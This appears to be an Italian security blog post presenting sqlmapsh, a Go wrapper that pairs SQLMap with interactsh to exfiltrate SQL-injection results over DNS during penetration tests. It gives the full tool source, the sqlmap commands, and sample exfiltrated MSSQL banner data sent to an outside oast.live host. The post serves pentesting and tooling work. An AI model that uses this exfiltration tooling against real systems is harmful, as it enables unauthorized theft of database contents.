Indice
ToggleIntroduzione
SQLMap.sh è un nuovo progetto open source marcato Unlock Security che permette di utilizzare Interact.sh per automatizzare il processo di DNS exfiltration dei dati utilizzando SQLMap.
Scenario
Immaginiamo di esser stati ingaggiati per una penetration test e di trovare una SQL injection su che ci concede tutto il necessario per interagire con il database. In particolare, abbiamo la possibilità di eseguire query stacked con privilegi elevati su MSSQL il che, in questo caso specifico, significa una sola cosa: Remote Code Execution!
Scoperta la vulnerabilità, ci basta lanciare i primi comandi per interagire con il database per capire che trovare una SQL injection blind time-based non lo augureresti neanche al tuo peggior nemico. Vista la lentezza delle risposte e i crash continui del web server, la lettura dell'output diventa impegnativa e richiede molta pazienza.
Nonostante tutto, decidiamo di far scaricare al server remoto un binario per ottenere una reverse shell, ma ci accorgiamo presto che il server stesso non permette di effettuare richieste HTTP. Tuttavia, scopriamo che le richieste DNS sono ammesse, il che potrebbe consentire l'utilizzo di tecniche di DNS exfiltration dei dati.
DNS exfiltration
Per passare all'azione decidiamo di migliorare i tempi di risposta esfiltrando i dati tramite il DNS, utilizzando in particolare SQLMap con il flag --dns-domain
.
L'intento è quello di far eseguire alla macchina questi step:
- SQLMap avvia un server DNS in locale in ascolto sulla porta 53
- Tramite la SQL injection trovata, viene eseguita una query SQL per recuperare un dato, supponiamo la password dell'utente admin (es. Password123). Questo dato viene concatenato come fosse un sottodominio di un dominio sotto il controllo dell'attaccante (es. attacker.com che punta alla macchina attaccante) ottenendo Password123.attacker.com . La query SQL viene costruita in modo tale che il DBMS esegua una query DNS per richiedere Password123.attacker.com.
- Il server DNS di SQLMap riceve la richiesta ed estrae il dato "Password123"
Il problema
Fin qui sembra tutto molto semplice, ma che succede quando la macchina attaccante è dietro una rete con NAT e non può esporre la porta 53 del DNS di SQLMap? E se l'attaccante non ha acquistato un dominio da far puntare al proprio PC? E se anche l'attaccante avesse una macchina esposta su internet e un dominio acquistato, ma la manleva non coprisse anche l'IP della macchina online? E se su quella macchina non potesse installare una VPN e questa fosse richiesta per eseguire il penetration test?
Questi dubbi molto leciti, ci fanno capire che il nostro attacco di DNS exfiltration dei dati potrebbe non andare a buon fine così facilmente come speravamo. Occorre quindi trovare una soluzione che sia valida per ogni situazione e che ci consenta di portare a compimento l'attacco.
La soluzione
Dopo alcune ricerche sul web, scopriamo che la soluzione ci viene gentilmente offerta sottoforma di estensione per Burp Suite da SqlmapDnsCollaborator che permette di utilizzare Burp Collaborator come server DNS, senza nessuna ulteriore configurazione necessaria.
Il codice del plugin può essere riassunto così:
- Avvia un client per Burp Collaborator e comunica all'utente il dominio da utilizzare in SQLMap
- Fa polling del DNS ogni 0.5 secondi per verificare se è stata ricevuta una richiesta DNS
- Se sì, la inoltra al server DNS locale di SQLMap
Il plugin è ottimo e fa il suo dovere, ma per utilizzare il collaborator è necessaria una licenza Pro di Burp Suite e bisogna specificare manualmente a SQLMap il dominio da utilizzare andandolo a prendere dall'output a console del plugin.
Per il problema della licenza esiste interactsh-collaborator: un progetto equivalente che utilizza interactsh invece di Burp Collaborator realizzando un client che si appoggia alla versione web di interactsh.
Anche questa soluzione è molto valida, ma richiede comunque l'uso di Burp e non risolve il problema della pigrizia che ci fa dire che mettere a mano un solo parametro a riga di comando su sqlmap è uno sforzo esagerato!
La nostra soluzione: sqlmapsh
La soluzione di Unlock Security è nata dalla collaborazione di due penetration tester: Francesco Marano e Francesco Mariani che si sono trovati ad affrontare uno scenario simile a quello appena descritto. I due, hanno ideato una soluzione che non prevede l'acquisto di alcuna licenza, l'utilizzo di software aggiuntivo o configurazioni manuali, dando vita a sqlmapsh.
Client interactsh
Per prima cosa serviva un valido sostituto di Burp Collaborator, quindi senza alcun dubbio è stato scelto InteractSH di ProjectDiscovery.io.
Il progetto è molto valido ma ad oggi manca di documentazione su come realizzare un proprio client, ad eccezione fatta per questo snippet di codice in cui viene:
- avviato un client interactsh con un polling ogni secondo
- generato un URL
- fatta una richiesta HTTP a quell'URL
- stampato il risultato dell'interazione con il server interactsh
package main
import (
"fmt"
"net/http"
"time"
"github.com/projectdiscovery/interactsh/pkg/client"
"github.com/projectdiscovery/interactsh/pkg/server"
)
func main() {
client, err := client.New(client.DefaultOptions)
if err != nil {
panic(err)
}
defer client.Close()
client.StartPolling(time.Duration(1*time.Second), func(interaction *server.Interaction) {
fmt.Printf("Got Interaction: %v => %v\n", interaction.Protocol, interaction.FullId)
})
defer client.StopPolling()
URL := client.URL()
resp, err := http.Get("https://" + URL)
if err != nil {
panic(err)
}
resp.Body.Close()
fmt.Printf("Got URL: %v => %v\n", URL, resp)
time.Sleep(5 * time.Second)
}
È già qualcosa! Ripercorriamo nel dettaglio gli step di creazione del tool sqlmapsh.
SQLMapSH: il progetto passo-passo
Per prima cosa iniziamo un nuovo progetto in Golang:
$ mkdir sqlmapsh
$ cd sqlmapsh
$ go mod init github.com/unlock-security/sqlmapsh
go creating new go.md: module github.com/unlock-security/sqlmapsh
Parte 1: il client interactsh
Creiamo il file principale del progetto basandoci sullo snippet suggerito sul repository di interactsh:
main.gopackage main import ( "fmt" "os" "os/signal" "syscall" "time" "github.com/projectdiscovery/interactsh/pkg/client" "github.com/projectdiscovery/interactsh/pkg/server" ) func main() { // Create InteractSH client client, err := client.New(client.DefaultOptions) if err != nil { panic(err) } defer client.Close() // Get the URL where to do DNS requests URL := client.URL() fmt.Printf("Got URL: %v\n", URL) // Poll the client every second and print the received DNS interactions client.StartPolling(time.Duration(1*time.Second), func(interaction *server.Interaction) { if interaction.Protocol == "dns" { fmt.Printf("Got DNS interaction: %s\n", interaction.FullId) } }) defer client.StopPolling() // Wait for the user to quit the program by using ctrl+c done := make(chan os.Signal, 1) signal.Notify(done, syscall.SIGINT, syscall.SIGTERM) fmt.Println("Press ctrl+c to exit...") <-done }
Aggiungiamo gli eventuali moduli mancanti richiesti dai package importati, avviamo il programma e apriamo con un browser l'URL che ci viene stampato a schermo:
$ go mod tidy
$ go run main.go
Got URL: ceesu6pd4rcafn4dsaigiyfzh7x8hjgxi.oast.live
Press ctrl+c to exit...
Got DNS interaction: ceesu6pd4rcafn4dsaigiyfzh7x8hjgxi
Ottimo, abbiamo un client funzionante! Ora proviamo a lanciare SQLMap specificando l'URL del client come dominio per l'exfiltration:
# sqlmap shell
$ sudo sqlmap -r "$(pwd)/sqli.txt" --dbms=mssql --drop-set-cookie --answers=marker=Y,redirect=N,continue=Y --code=302 --level=5 --risk=3 --technique=B --dns-domain=ceesu6pd4rcafn4dsaigiyfzh7x8hjgxi.oast.live --banner
# sqlmapsh shell
Got DNS interaction: Moh.0x3700330030003800.wVo.ceesu6pd4rcafn4dsaigiyfzh7x8hjgxi.oast.live
Otteniamo subito una richiesta al dominio Moh.0x3700330030003800.wVo.ceesu6pd4rcafn4dsaigiyfzh7x8hjgxi.oast.live
, quindi sulla base di quanto detto prima i dati esfiltrati sono: Moh.0x3700330030003800.wVo
.
Per capire cosa significa questo possiamo dare un'occhiata ai sorgenti di SQLMap:
lib/techniques/dns/test.py#!/usr/bin/env python """ Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.common import randomInt from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.exception import SqlmapNotVulnerableException from lib.techniques.dns.use import dnsUse def dnsTest(payload): logger.info("testing for data retrieval through DNS channel") randInt = randomInt() kb.dnsTest = dnsUse(payload, "SELECT %d%s" % (randInt, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""))) == str(randInt) if not kb.dnsTest: errMsg = "data retrieval through DNS channel failed" if not conf.forceDns: conf.dnsDomain = None errMsg += ". Turning off DNS exfiltration support" logger.error(errMsg) else: raise SqlmapNotVulnerableException(errMsg) else: infoMsg = "data retrieval through DNS channel was successful" logger.info(infoMsg)
Qui possiamo vedere come SQLMap, prima di iniziare ad esfiltrare dati, testi la connessione con il DNS generando un numero intero casuale e lo passi alla funzione dnsUse
.
lib/techniques/dns/use.pydef dnsUse(payload, expression): """ Retrieve the output of a SQL query taking advantage of the DNS resolution mechanism by making request back to attacker's machine. """ # ... if conf.dnsDomain and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL): # ... while True: # ... prefix, suffix = ("%s" % randomStr(length=3, alphabet=DNS_BOUNDARIES_ALPHABET) for _ in xrange(2)) # ... expressionRequest = getSQLSnippet(Backend.getIdentifiedDbms(), "dns_request", PREFIX=prefix, QUERY=expressionReplaced, SUFFIX=suffix, DOMAIN=conf.dnsDomain) expressionUnescaped = unescaper.escape(expressionRequest) if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL): query = agent.prefixQuery("; %s" % expressionUnescaped) query = "%s%s" % (query, queries[Backend.getIdentifiedDbms()].comment.query) forgedPayload = agent.payload(newValue=query) else: forgedPayload = safeStringFormat(payload, (expressionUnescaped, randomInt(1), randomInt(3))) Request.queryPage(forgedPayload, content=False, noteResponseTime=False, raise404=False) _ = conf.dnsServer.pop(prefix, suffix) if _: _ = extractRegexResult(r"%s\.(?P<result>.+)\.%s" % (prefix, suffix), _, re.I) _ = decodeDbmsHexValue(_) # ...
La funzione non fa altro che generare due stringhe casuali di 3 caratteri (prefix e suffix), poi costruisce una query SQL che faccia eseguire una query DNS alla vittima all'indirizzo prefix.random-number.suffix.dns-domain
. Una volta fatto questo aspetta una query DNS sul server locale ed estrae la parte prefix.stuff.suffix
per verificare che il dato sia arrivato correttamente.
Parte 2: il resolver DNS
A questo punto è chiaro che dobbiamo realizzare un resolver DNS ed utilizzarlo per inoltrare le interazioni ottenute tramite interactsh al server DNS di SQLMap:
DNS resolver per inoltrare le interazioni ottenute da interactsh verso il DNS server di SQLMappackage main import ( "context" "fmt" "net" "os" "os/signal" "syscall" "time" "github.com/projectdiscovery/interactsh/pkg/client" "github.com/projectdiscovery/interactsh/pkg/server" ) func main() { dns_resolver := &net.Resolver{ PreferGo: true, Dial: func(ctx context.Context, network, address string) (net.Conn, error) { d := net.Dialer{ Timeout: 1 * time.Second, } return d.DialContext(ctx, network, "127.0.0.1:53") }, } // Create InteractSH client client, err := client.New(client.DefaultOptions) if err != nil { panic(err) } defer client.Close() // Get the URL where to do DNS requests URL := client.URL() fmt.Printf("Got URL: %v\n", URL) // Poll the client every second and print the received DNS interactions client.StartPolling(time.Duration(1*time.Second), func(interaction *server.Interaction) { if interaction.Protocol == "dns" { fmt.Printf("Got DNS interaction: %s\n", interaction.FullId) dns_resolver.LookupHost(context.Background(), interaction.FullId) } }) defer client.StopPolling() // Wait for the user to quit the program by using ctrl+c done := make(chan os.Signal, 1) signal.Notify(done, syscall.SIGINT, syscall.SIGTERM) fmt.Println("Press ctrl+c to exit...") <-done }
Testiamo di nuovo utilizzando SQLMap cercando di esfiltrare il banner del DBMS:
# sqlmap shell
$ sudo sqlmap -r "$(pwd)/sqli.txt" --dbms=mssql --drop-set-cookie --answers=marker=Y,redirect=N,continue=Y --code=302 --level=5 --risk=3 --technique=B --dns-domain=ceetv2hd4rcdl9inqju0fmu9fh14wfz7x.oast.live --banner
# sqlmapsh shell
$ go run main.
Got URL: ceetv2hd4rcdl9inqju@fmu9fh14wfz7x.oast.me
Press ctrl+c to exit...
Got DNS interaction: kwX.0x3700330034003200.OwT.ceetv2hd4rcdl9inqju0fmu9fh14wfz7x.oast.live
Got DNS interaction: WUT.0x2000530065007200760065007200200032003000300038002000.Xul.ceetv2hd4rcdl9inqju0fmu9fh14wfz7x.oast.live
Got DNS interaction: Qxt.0x5200320020002800530050003200290020002d00200031003000.Ppm.ceetv2hd4rcdl9inqju0fmu9fh14wfz7x.oast.live
Got DNS interaction: Gom.0x2e00350030002e0034003000330033002e003000200028005800.llu.ceetv2hd4rcdl9inqju0fmu9fh14wfz7x.oast.live
Got DNS interaction: TsJ.0x36003400290020000a0009004a0075006c002000200039002000.jPP.ceetv2hd4rcdl9inqju0fmu9fh14wfz7x.oast.live
Got DNS interaction: ovz.0x290020002800480079007000650072007600690073006f007200.iPp.ceetv2hd4rcdl9inqju0fmu9fh14wfz7x.oast.live
Got DNS interaction: nYk.0x29000a00.ZjJ.ceetv2hd4rcdl9inqju0fmu9fh14wfz7x
Tutto funziona a dovere e SQLMap riesce a recuperare correttamente il banner del DBMS:
Microsoft SQL Server 2008 R2 (SP2) - 10.50.4033.0 (X64
Jul 9 2014 16:04:25
Copyright (c) Microsoft Corporation
Standard Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601: Service Pack 1) (Hypervisor))
Parte 3: il wrapper di SQLMap
Arrivati a questo punto abbiamo implementato la stessa logica dei plugin di Burp citati sopra, ma abbiamo eliminato sia la dipendenza con Burp stesso, sia il problema di licenza. Ora serve solamente fare in modo di lanciare sqlmapsh al posto di sqlmap e fare in modo che sia lui a gestire tutto per noi.
package main
import (
"context"
"net"
"os"
"os/exec"
"time"
"github.com/projectdiscovery/interactsh/pkg/client"
"github.com/projectdiscovery/interactsh/pkg/server"
)
func main() {
dns_resolver := &net.Resolver{
PreferGo: true,
Dial: func(ctx context.Context, network, address string) (net.Conn, error) {
d := net.Dialer{
Timeout: 1 * time.Second,
}
return d.DialContext(ctx, network, "127.0.0.1:53")
},
}
// Create InteractSH client
client, err := client.New(client.DefaultOptions)
if err != nil {
panic(err)
}
defer client.Close()
// Get the URL where to do DNS requests
URL := client.URL()
// Poll the client every second and print the received DNS interactions
client.StartPolling(time.Duration(1*time.Second), func(interaction *server.Interaction) {
if interaction.Protocol == "dns" {
dns_resolver.LookupHost(context.Background(), interaction.FullId)
}
})
defer client.StopPolling()
// Start SQLMap adding the correct "--dns-domain" parameter
os.Args[0] = "--dns-domain=" + URL
sqlmapCmd := exec.Command("sqlmap", os.Args...)
sqlmapCmd.Env = os.Environ()
sqlmapCmd.Stdin = os.Stdin
sqlmapCmd.Stdout = os.Stdout
sqlmapCmd.Stderr = os.Stderr
sqlmapCmd.Run()
}
A questo punto possiamo fare la build del progetto con go build
e ottenere il binario sqlmapsh da utilizzare al posto di sqlmap ogni volta che vogliamo fare exfiltration via DNS. Nel caso precedente il comando diventerebbe:
$ sudo sqlmapsh -r "$(pwd)/sqli.txt" --dbms=mssql --drop-set-cookie --answers=marker=Y,redirect=N,continue=Y --code=302 --level=5 --risk=3 --technique=B --banner
Conclusioni
Nonostante il progetto sia molto semplice ed esistano già dei plugin per Burp Suite che permettono di ottenere lo stesso risultato, riteniamo che non ci si debba legare a un tool specifico o fermarsi di fronte al costo di una licenza quando si tratta di hacking, a meno che non sia strettamente necessario. Per questo abbiamo deciso di pubblicare il codice di sqlmapsh su GitHub e renderlo aperto alla community, sperando che sia di interesse comune e frutto di nuove ispirazioni.